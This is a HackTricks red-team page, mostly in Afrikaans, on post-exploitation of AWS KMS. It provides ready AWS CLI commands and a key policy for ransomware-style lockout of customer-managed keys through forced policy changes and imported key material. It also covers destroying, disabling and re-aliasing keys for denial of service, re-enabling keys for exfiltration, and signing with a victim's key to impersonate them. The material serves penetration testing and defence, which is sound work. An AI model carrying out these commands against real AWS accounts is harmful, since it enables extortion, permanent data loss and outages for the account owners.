AWS - KMS Post Exploitation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

KMS

Vir meer inligting, sien:

AWS - KMS Enum

Encrypt/Decrypt inligting

fileb:// and file:// are URI-skemas wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lĂȘers te spesifiseer:

  • fileb://: Lees die lĂȘer in binĂȘre modus, algemeen gebruik vir nie-tekslĂȘers.
  • file://: Lees die lĂȘer in teksmodus, tipies gebruik vir gewone tekslĂȘers, skripte, of JSON wat nie spesiale koderingvereistes het nie.

Tip

Let wel dat as jy sommige data binne ’n lĂȘer wil decrypt, moet die lĂȘer die binĂȘre data bevat, nie base64-geĂ«nkodeerde data nie. (fileb://)

  • Gebruik ’n symmetric sleutel
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Gebruik ’n asimmetriese sleutel:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

An attacker met bevoorregte toegang tot KMS kan die KMS policy van sleutels wysig en sy account toegang tot hulle gee, en sodoende die toegang wat aan die legit account verleen is, verwyder.

Dan sal die legit account gebruikers nie toegang hĂȘ tot enige inligting van enige diens wat met daardie sleutels versleuteld is nie, wat ’n maklike maar effektiewe ransomware oor die account skep.

Warning

Note that AWS managed keys aren’t affected by this attack, only Customer managed keys.

Also note the need to use the param --bypass-policy-lockout-safety-check (the lack of this option in the web console makes this attack only possible from the CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Let wel dat as jy daardie beleid verander en slegs toegang aan ’n eksterne rekening gee, en dan vanaf hierdie eksterne rekening probeer om ’n nuwe beleid te stel om die toegang terug te gee aan die oorspronklike rekening, sal jy dit nie kan doen nie omdat die Put Polocy action cannot be performed from a cross account.

Generic KMS Ransomware

Daar is nog ’n manier om ’n globale KMS Ransomware uit te voer, wat die volgende stappe behels:

  • Skep ’n nuwe key with a key material ingevoer deur die aanvaller
  • Re-encrypt older data van die slagoffer wat met die vorige weergawe geĂŻnkripteer is met die nuwe een.
  • Delete the KMS key
  • Nou sal slegs die aanvaller, wat die oorspronklike key material het, in staat wees om die geĂŻnkripteerde data te ontsleutel

Delete Keys via kms:DeleteImportedKeyMaterial

Met die kms:DeleteImportedKeyMaterial toestemming kan ’n akteur die imported key material van CMKs met Origin=EXTERNAL (CMKs wat hul key material ingevoer het) verwyder, wat hulle onmoontlik sal maak om data te ontsleutel. Hierdie aksie is vernietigend en onomkeerbaar tensy kompatibele materiaal weer ingevoer word, wat ’n aanvaller effektief toelaat om ransomware-agtige dataverlies te veroorsaak deur geïnkripteerde inligting permanent ontoeganklik te maak.

aws kms delete-imported-key-material --key-id <Key_ID>

Destroy keys

Deur sleutels te vernietig, is dit moontlik om ’n DoS uit te voer.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Let daarop dat AWS nou voorkom dat die vorige aksies van ’n kruis-rekening uitgevoer word:

Verander of verwyder Alias

Hierdie aanval verwyder of herlei AWS KMS aliases, breek sleuteloplossing en veroorsaak onmiddellike foute in enige dienste wat op daardie aliases staatmaak, wat lei tot ’n denial-of-service. Met permissies soos kms:DeleteAlias of kms:UpdateAlias kan ’n aanvaller aliases verwyder of herlei en kriptografiese operasies (bv. encrypt, describe) ontwrig. Enige diens wat na die alias verwys in plaas van die key ID kan misluk totdat die alias herstel of korrek herkaarteer is.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Kanselleer Sleutelverwydering

Met toestemmings soos kms:CancelKeyDeletion en kms:EnableKey kan ’n bedreigingsakteur ’n geskeduleerde verwydering van ’n AWS KMS customer master key kanselleer en dit later heraktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoĂ« om voorheen beskermde data te ontsleutel, waardeur exfiltration moontlik word.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Disable Key

Met die kms:DisableKey-toestemming kan ’n akteur ’n AWS KMS customer master key deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit breek die toegang vir enige dienste wat van daardie CMK afhanklik is en kan onmiddellike ontwrigting of ’n diensweigering veroorsaak totdat die sleutel weer geaktiveer word.

aws kms disable-key \
--key-id <key_id>

Aflei van ’n gedeelde geheim

Met die kms:DeriveSharedSecret-toestemming kan ’n akteur ’n deur KMS gehoude private sleutel en ’n deur ’n gebruiker verskafde publieke sleutel gebruik om ’n ECDH-gedeelde geheim te bereken.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Met die kms:Sign toestemming kan ’n akteur ’n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private sleutel bloot te stel, waardeur geldige handtekeninge gegenereer word wat impersonation moontlik kan maak of kwaadwillige aksies kan magtig.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Met toestemmings soos kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, of kms:UpdateCustomKeyStore kan ’n akteur ’n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, wat sy master keys onbruikbaar maak. Dit breek enkripsie-, dekripsie- en ondertekeningsbedrywighede vir enige dienste wat op daardie sleutels staatmaak en kan onmiddellike denial-of-service veroorsaak. Daarom is dit kritiek om daardie toestemmings te beperk en te monitor.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks